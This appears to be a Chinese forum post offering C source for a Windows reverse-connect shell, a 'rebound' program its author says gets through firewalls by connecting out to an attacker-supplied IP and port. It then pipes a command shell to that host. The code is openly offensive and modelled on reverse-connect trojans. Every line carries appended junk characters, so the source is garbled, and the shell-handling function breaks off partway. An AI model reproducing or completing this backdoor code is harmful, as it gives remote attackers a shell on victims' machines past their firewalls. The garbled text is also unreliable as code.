这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ?vf{v
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/* ==============================
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Rebound port in Windows NT _* 4
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By wind,2006/7 )#3,y6
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#include !0Xes0gK0
#include !9iVe7V
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#pragma comment(lib,"wsock32.lib") RW>Z~Nj
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void OutputShell(); +}4vdi"
SOCKET sClient; {LJCY<IGq
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; oF
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void main(int argc,char **argv) 6mdJ
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{ Mw'd<{
WSADATA stWsaData; :g<dwuVO
int nRet; :Np&G4IM>
SOCKADDR_IN stSaiClient,stSaiServer; Y<#7E;aL
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if(argc != 3) h"%6tpV-
{ tGmyTBgx
printf("Useage:\n\rRebound DestIP DestPort\n"); L/nz95
return; ;p\rgam
} b'9G`Y s^
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WSAStartup(MAKEWORD(2,2),&stWsaData); D zDt:.JZ
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [zf9UUc~
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stSaiClient.sin_family = AF_INET; FIU(2
stSaiClient.sin_port = htons(0); |BYD] vK
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); E?Q=#+}U
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) b@,=;Y)O
{ RSmxwx^
printf("Bind Socket Failed!\n"); ,5r 2!d
return; D"1ciO8^I]
} ]]%C\Ryy}
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stSaiServer.sin_family = AF_INET; nsgNIE{>gO
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Vp5qul%
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); I8^z\ef&
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) T/S-}|fhQ
{ ,u]kZ ]
printf("Connect Error!"); J_P2% b=C
return; m@HU;J\I
} XTW/3pB
OutputShell(); y'pG'"U]_
} U?|s/U
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void OutputShell() +oQ@E<)H
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char szBuff[1024]; =:a3cr~
SECURITY_ATTRIBUTES stSecurityAttributes; pm )A*][s
OSVERSIONINFO stOsversionInfo; yDd&*;9%Qg
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 8KoPaq
STARTUPINFO stStartupInfo; KQW
char *szShell; iv;;GW{2
PROCESS_INFORMATION stProcessInformation; $ /wr?
unsigned long lBytesRead; `hH1rw@7<
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